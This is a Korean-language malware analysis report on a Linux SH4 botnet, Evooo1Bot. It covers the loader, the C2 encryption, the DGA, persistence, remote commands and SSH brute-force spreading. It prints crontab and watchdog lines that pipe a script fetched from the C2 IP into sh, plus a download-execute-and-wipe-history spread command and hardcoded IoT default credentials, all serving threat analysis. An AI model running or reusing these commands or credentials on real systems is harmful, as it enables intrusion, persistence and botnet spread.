Evooo1Bot 악성코드 분석

1. 개요

Evooo1Bot은 2026년 7월부터 활동이 확인된 다기능 Linux 봇넷이다. 명칭은 실행 파일에 포함된 evooo1 문자열에서 유래했다. 원격 명령 실행, SSH 접속, SOCKS 중계, 서비스 거부 공격과 HTTP 요청 기능을 함께 갖추고 있으며, 특정 공격 조직과의 연계는 확인되지 않았다.
 
Evooo1Bot은 SH4 기반 Linux 장비에서 동작하는 악성코드다. 실행되면 장비의 환경을 점검하고 원격 제어 서버인 91.92.40.118:443으로 접속을 시도한다. 연결에 성공하면 서버의 명령을 받아 원격 명령 실행, 파일 송수신, SSH 접속 시도, SOCKS 중계, 서비스 거부 공격과 HTTP 정보 수집 기능을 수행한다. 또한 실행 권한이 허용되는 환경에서는 프로세스가 종료되거나 장비가 다시 시작된 뒤에도 실행될 수 있도록 cron, systemd, profile.d 등에 등록을 시도한다. 원격 제어 서버에 연결하지 못하면 날짜를 기준으로 생성한 .xyz 도메인을 순서대로 조회하며 접속을 다시 시도한다. 

2. 전체 실행 흐름

전체 흐름은 상위 로더와 Evooo1Bot 본체의 동작으로 나뉜다. 상위 로더는 내부 데이터를 복호화해 임시 경로에 본체를 저장하고 실행한 뒤, 드롭한 본체 파일을 삭제한다. 실행된 본체는 통신과 명령 처리에 필요한 설정을 불러오고 실행 환경을 점검한다. 이후 백그라운드 전환, 중복 실행 확인과 재실행 등록을 거쳐 원격 제어 서버에 접속한다. 서버 연결에 실패하면 날짜에 따라 생성되는 예비 도메인으로 접속을 다시 시도하며, 연결에 성공하면 인증과 장비 등록을 마친 뒤 명령을 기다린다. 

<그림 1> 전체 실행 흐름

3. 4c0886349e9d348569fffe...4508bf0cd6f1e5dd99c2a73525e4d.elf 분석

악성코드는 내부에 암호화된 Evooo1Bot 데이터를 포함하고 있으며, 실행 시 elf 데이터 복호화를 위한 키를 생성한다. 

<그림 2> 키 생성 

<그림 3> 복호화 루틴 

<그림 4> 암/복호화 데이터 

이후 /tmp, /var/tmp, /dev/shm 경로에서 쓰기 가능한 위치를 선택한 뒤 파일 이름을 .<PID>(숨김속성)로 생성하고 실행한다. 

<그림 5> 사용되는 문자열 데이터 

생성한 Evooo1Bot 본체를(.<PID>) 실행한 뒤 200ms 동안 대기하고, 실행한 본체 파일의 경로를 삭제한다. 파일 경로가 삭제된 뒤에도 이미 실행된 본체 프로세스는 계속 동작한다.  

<그림 6> 파일 생성 및 덮어쓰기 

<그림 7> 드롭된 파일 실행 및 생성된 파일 삭제 

4. Evooo1Bot분석

Evooo1Bot은 통신 주소와 명령 문자열 등의 설정을 여러 형태로 암호화하여 저장한다. 암호화된 설정 데이터는 사용하기 전 16진수 변환을 해제한 뒤 AES-256-CTR과 ChaCha20-Poly1305 방식으로 복원된다. 일부 통신·명령·공격 문자열은 각 바이트를 0x43과 XOR해 원래 문자열로 복호화해 사용된다. 

<그림 8> 암호화된 문자열 목록 중 일부 

<그림 9> XOR 디코딩 루틴 

악성코드 실행 직후 명령 처리 속도와 현재 실행 중인 프로세스를 확인한다. 시간 측정 결과와 차단 대상 프로세스의 발견 여부를 점수로 계산하며, 특정 기준에 도달하면 종료한다. 

세 차례의 측정 중 두 차례 이상이 1ms를 넘으면 2점을 더한다. 전체 점수가 2점 이상이거나 차단 목록의 프로세스 이름이 확인되면 종료한다.
 
허니팟 환경 감지에는 kippo, cowrie, twisted, svr04 키워드를 사용하며, 이와 함께 busybox ECHOTEST applet의 응답 여부도 확인한다. 다만 C2 서버가 작업 지시에 NOHPCHECK:1 플래그를 붙이면 검사 단계는 생략된다. 

<그림 10>은 시그널 무시 설정, 새 세션 생성, 표준 입출력 재지정되는 구간으로 데몬화 시점에 표준 에러가 /dev/null로 전환되므로 이후 출력은 진행되지 않는다. 

<그림 10> strace에서 추출한 데몬화 구간 

환경 검사가 끝나면 실행되는 중복실행 검사는 127.0.0.1:42780에 접속해 같은 악성코드가 이미 있는지 보는 방식을 사용한다. 사용되는 주소와 포트는 프로그램 안에 고정돼 있다. 응답이 오면 sweedishsniper라는 표식을 보내고 연결을 끊는다. 그 다음 42780 포트를 사용하려고 시도하고, 세 번까지 안 되면 해당 포트를 쓰던 프로세스를 종료시킨 뒤 사용한다. 

<그림 11> 실행 직후 127.0.0.1:42780 접속 시도 — 접속 거부(ECONNREFUSED) 

4.1. C2통신

중복실행 방지 이후 Evooo1Bot은 하드코딩된 C2 IP 91.92.40.118의 TCP 443 포트에 자체 암호화 채널로 연결한다. TLS 표준을 사용하지 않으며, TCP/443을 사용하지만 일반적인 HTTPS가 아닌 자체 통신 규격으로 데이터를 주고받는다. DNS·DoH 리졸버 문자열과 .xyz TLD가 함께 존재한다.
 
저장된 원격 제어 주소를 순서대로 시도한다. 모든 주소에 연결하지 못하면 날짜를 기준으로 만든 예비 도메인으로 접속을 다시 시도한다. 

[1단계] 설정 C2 목록을 인덱스 순으로 시도
[2단계] 전부 실패하면 DGA 폴백 (N = 0 .. 19)
        domain = DGA(N), 연결 포트 = TCP/443
        재시도 간격은 실패할 때마다 증가하며 지연시간이 더해진다
        마지막 후보까지 실패하면 장시간 대기 후 설정을 다시 읽고 1단계로 복귀한다. 

[표 5] 단계별 접속시도 

서버에 연결되면 EZF3로 시작하는 68바이트 메시지를 보내고 64바이트 응답을 받는다. 프로그램과 서버는 교환한 값을 이용해 통신에 사용할 암호화 키를 만들며, 이후의 명령과 응답은 해당 키로 암호화된다. 키 유도는 HMAC-SHA256을 기반으로 하되, 카운터 바이트가 없는 비표준 구성이다. 

[표 7] 키 생성 

<그림 12> 매 접속 시도마다 EZF3로 시작하는 68바이트를 송신 (write 반환값 68) 

봇이 쓰는 프로토콜과 동일한 규격의 가짜 C2 서버를 만들어, 봇이 보낸 68바이트 HELLO에 64바이트로 응답해주면 이후 통신에 쓰일 공유 키와 세션 키 세 개가 양쪽에서 동일하게 산출된다. 

<그림 13> 가짜 C2와 봇 간 키 교환 결과 — 공유 키 및 세션 키 3종 

레코드는 2바이트 길이 접두와 암호문으로 구성된다. 무결성 태그를 평문 뒤에 붙인 다음 통째로 암호화하는 구성이기때문에 태그가 평문으로 노출되지 않는다. 

record = [len_BE(2B)] [ ChaCha20_dir( P || HMAC-SHA256(K_mac, P)[0:16] ) ] len = |P| + 16
- nonce: 12바이트 전량 0
- keystream: 방향별로 세션 전체에 걸쳐 연속(레코드마다 재초기화하지 않음) 

[표 8] 레코드 프레이밍 구조 

C2등록 비콘은 필드를 하나씩 이어 붙여 만든다. 구분자 :도 난독화된 값을 복호화해 1바이트씩 삽입한다.
-       C2 등록 비콘: REGISTER:v5.3:e6f57cf1:Linux-sh4:3280:8:sample_ng:direct:scan:atk 

BotID는 확보한 MAC을 :와 함께 다른 값과 결합한 뒤 해시 값으로 변경하고, 해당 값의 상위 4바이트를 8자리 16진수 문자열로 표기한 값이다.
 
위 규격대로 서버를 구성해 접속을 받으면 인증부터 등록까지 전 구간이 평문으로 복원되고, 무결성 검증도 양방향 모두 통과한다. 

<그림 14> 핸드셰이크 완료 후 복원된 인증·등록 구간 

C2 접속이 실패하면 날짜를 시드에 넣어 도메인을 만들고 접속을 시도한다. 하루가 지나면 후보가 통째로 바뀐다. 도메인을 만드는 과정에서 포트 후보도 계산하지만, 실제 접속 과정에서는 이 값을 사용하지 않는다. 생성된 도메인은 TCP/443으로 연결된다. 

s     = 시드(2eb6ee84) + 연월일 + N          N = 0 .. 19
d     = SHA-256(s)
label = for i in 0..15 :  'a' + (d[i] mod 26)        16자 소문자
domain= label + ".xyz" 

[표 10] 도메인 구성 

[표 11]은 상기 구성도와 동일하게 산출한 도메인이다. 

8월 20일   whlwosgdquahsfmh.xyz → beusjgzmuyhhbttp.xyz   (N=0, N=1 순서까지 일치)
8월 21일   yzpsrwnyqnswdpco.xyz
8월 22일   mvoucdlbgbuownqe.xyz 

[표 11] 세 날짜에 대한 값 

whlwosgdquahsfmh.xyz   beusjgzmuyhhbttp.xyz
kkvyjxdajbcxthyl.xyz      fxfebksezfjeyooq.xyz
acyvawrggvtzewmu.xyz   psreugmpnrhrmwfd.xyz
btdfpampubbxlbkq.xyz   rgthzfmsxcjdgbrw.xyz 

[표 12] 생성된 도메인 리스트 

<그림 15>의 패킷 데이터를 보면 1차 C2 접속이 RST로 실패한 직후, *DGA 예측 목록의 1번(whlwosgdquahsfmh.xyz)과 2번(beusjgzmuyhhbttp.xyz)이 순서대로 DNS에 질의됨을 알 수 있다. 

<그림 15> 예측 목록의 데이터를 순서대로 질의 

* 예비 도메인 생성 기능은 날짜와 고정된 값을 이용해 하루 최대 20개의 .xyz 도메인을 만든다. 원격 제어 서버에 연결하지 못하면 생성된 도메인을 순서대로 조회하고 TCP/443으로 접속한다. 생성되는 도메인은 날짜와 고정된 값을 기준으로 결정되므로, 같은 날짜와 순번에서는 항상 같은 후보가 만들어진다. 

4.2. 지속성 확보

프로그램은 종료되거나 장비가 다시 시작된 뒤에도 실행될 수 있도록 cron, profile.d, SysV init, systemd, 자기복제, rc.local 등록을 차례대로 시도한다. 실제 등록 여부는 실행 권한과 해당 경로의 쓰기 권한에 따라 달라진다. 

등록되는 cron 줄은 다음과 같다. 기록된 PID가 살아 있으면 exit 0으로 즉시 빠져나가고, 죽어 있을 때만 재다운로드와 재실행으로 진행한다. 단순 주기 재실행이 아니라 감시 기반 재실행 구조다. 

* * * * * /bin/sh -c 'kill -0 <pid> 2>/dev/null && exit 0;
           (wget -qO- http://91.92.40.118/init.sh
            || curl -sL http://91.92.40.118/init.sh) | /bin/sh' > /dev/null 2>&1 

[표 14] root crontab 등록 

감시 스크립트도 동일한 PID 생존 확인 로직을 사용한다. 다만 다운로드하기 전에 이미 생성된 파일이 있으면 해당 파일을 먼저 실행한다. 

kill -0 <pid> 2>/dev/null && exit 0;
([ -x <대상경로> ] && <대상경로>
  || (wget -qO- http://91.92.40.118/init.sh
      || curl -sL http://91.92.40.118/init.sh) | /bin/sh) > /dev/null 2>&1 &  

[표 15] 감시 스크립트 

/var/tmp/., /dev/shm/., /var/run/., /usr/bin/.supervisor, /usr/sbin/.supervisor, /usr/bin/.sshd, /usr/sbin/.sshd, /usr/lib/libsystem, /usr/lib/libworker, /tmp/.arm5, /tmp/.sh4, /tmp/.x86 외. 

[표 16] 자기복제 대상 경로 

실행 시 기록되는 내용은 다음과 같다. systemd 유닛 본문, crontab 등록, 감시 스크립트 한 줄이 모두 같은 페이로드 URL을 참조한다. 

<그림 16> 기록된 systemd 유닛 본문과 crontab heredoc, 감시 스크립트 한 줄 

확인된 실행 환경에서는 root crontab에 매분 실행되는 항목이 등록됐으며, 같은 주소에 60초 간격으로 요청이 반복됐다. 

<그림 17> 페이로드 재요청 데이터 (60초 간격으로 반복) 

4.3. 원격 명령 디스패처

Evooo1Bot이 원격 제어 서버에서 받는 텍스트 명령은 30개다. updatefetch는 텍스트 명령이 아니라 별도의 갱신 명령으로 처리된다. 명령 문자열은 모두 XOR 0x43로 인코딩된 형태로 .rodata에 저장되며, 스택 버퍼로 복사되면서 XOR 복호화 후 비교된다. 

Evooo1Bot에는 권한 상승 코드가 없으며 명령은 봇 프로세스의 UID를 그대로 상속한다. <그림 18>은 일반 계정(uid=1000)으로 실행된 봇에 !shell id를 전송한 결과 응답 uid에도 1000으로 반환되어, 명령이 실행시킨 계정의 권한을 그대로 상속함을 알 수 있다. 즉, 감염 호스트에서 관측되는 명령 실행 권한은 최초 실행된 프로그램에 의해 결정된다. 

<그림 18> 권한 상승 여부 확인 

<그림 19>는 원격 제어 명령을 보냈을 때 프로그램이 반환한 응답을 보여준다. 장비 정보 확인과 셸 명령 처리 결과는 응답으로 확인됐으며, 재실행 등록 명령의 실제 파일 변경 여부는 별도로 확인해야 한다. 

<그림 19> 원격 명령 처리 

4.3.1. 인자 값 없이 명령 실행

인자를 생략하고 명령을 보내면 봇이 usage 문자열을 직접 응답하며 각 명령이 요구하는 인자의 이름·순서·형식이 그대로 드러난다. 아래는 응답 원문이다. 

<그림 20> 명령에 대한 인자 값 포맷 노출 

* !socks의 회신은 사용법이 아니라 실행 시도가 bind 단계에서 실패한 결과다. 

4.3.2. 파일 전송 및 공격 명령

명령에 대한 응답값을 보면 파일 업로드 명령은 기록된 바이트 수가, 다운로드 명령에는 파일 이름과 Base64 데이터가 포함된 응답값이 반환된다. 다운로드에 대한 응답 값은 __FILE_START__ 뒤에 파일 이름을 붙이고, 줄바꿈 뒤에 내용을 Base64로 실은 다음 __FILE_END__로 닫는 형식이다. 

[표 19] !upload / !download 명령에 대한 응답 

<그림 21>은 파일 전송과 공격 명령을 보냈을 때 돌아온 응답 화면이다. 업로드에는 기록한 바이트 수, 다운로드에는 파일 이름과 Base64로 실린 내용, 공격 명령에는 대상과 지속 시간이 담긴 개시 응답이 각각 회신됐다. 세 명령 모두 봇이 받아 처리했다는 것은 확인되지만, 실제 공격 패킷이 나갔는지는 이 화면으로 알 수 없다. 

<그림 21> 공격 명령 실행 응답, 파일 기록 4바이트, 파일 반출 회신 

명령어&회신 : !attack udp 127.0.0.1 9999 5   →  [attack] udp -> 127.0.0.1:9999 for 5s started 

[표 20] 공격 명령에 대한 회신 

4.4. 확산경로

4.4.1. SSH 무차별 대입

프로그램 안에는 SSH 연결과 인증을 처리하는 코드가 포함돼 있다. 서버 명령을 받으면 여러 대상의 SSH 서비스에 접속하고 저장된 계정 정보를 이용해 로그인을 시도한다. 실행 파일에는 curve25519-sha256, diffie-hellman-group14-sha256과 함께 구형 diffie-hellman-group1-sha1 및 ssh-rsa 문자열이 포함돼 있다. 실제 접속에 사용되는 방식은 대상 서버와의 협상 결과에 따라 결정된다. 

SSH 인증에 사용하는 계정과 비밀번호 목록은 실행 파일 안에 평문으로 저장돼 있다. 목록은 188행이며 중복을 제외하면 181개 조합이다. 

root, admin, user, test, guest, oracle, postgres, mysql, ftp, webadmin, administrator, ubuntu, pi, nagios, git, jenkins, tomcat, deploy, webmaster, support, ubnt, supervisor, dietpi 

[표 22] 사용자 명 리스트 

<그림 22> 하드코딩된 자격증명 일부 

목록에는 IoT 기본 자격증명(root:vizxv, root:hi3518, admin:zte910, admin:7ujMko0admin 등)과 서버·CI/CD 환경 계정(oracle, postgres, jenkins, tomcat, deploy)이 함께 포함된다.
SSH 접속에 성공하면 페이로드를 바로 주입하지 않고, 먼저 대상이 허니팟인지 검사한다. 

허니팟이 아니라고 판단되면 다음 명령을 실행한다. 다운로드 수단을 wget → curl → tftp 순으로 시도하고, 실행 후 흔적을 지운다. 

sh (cd %s && (wget %s -O .d 2>/dev/null || curl -s %s -o .d 2>/dev/null || tftp -g -r .d -l .d %s 2>/dev/null) && chmod +x .d && ./.d%s || ); history -c 2>/dev/null; > ~/.bash_history 2>/dev/null; rm -f .d); history -c 2>/dev/null; > ~/.bash_history 2>/dev/null 

[표 24] 파일 다운로드 및 삭제 페이로드 

4.4.2. CVE 관련 HTTP 요청 기능

저장된 HTTP 요청 템플릿을 처리한다. CVE 식별자 26개와 명령 문자열이 포함된 요청 본문 20개가 존재하지만 실제 공격 성공을 의미하지 않는다. 

서버가 전달하는 명령어는 HEADER: EXPECT: PORT: UA: PATH: METHOD: SR: ORIGIN MODE:all MODE:payload CLEAN:1 NOHPCHECK:1 형식이며 구분자로 === 와 --- 를 사용한다.
모듈 실행 명령은 페이로드 호스트를 인자로 받으며 인자값 없이는 요청이 제대로 나가지 않는다.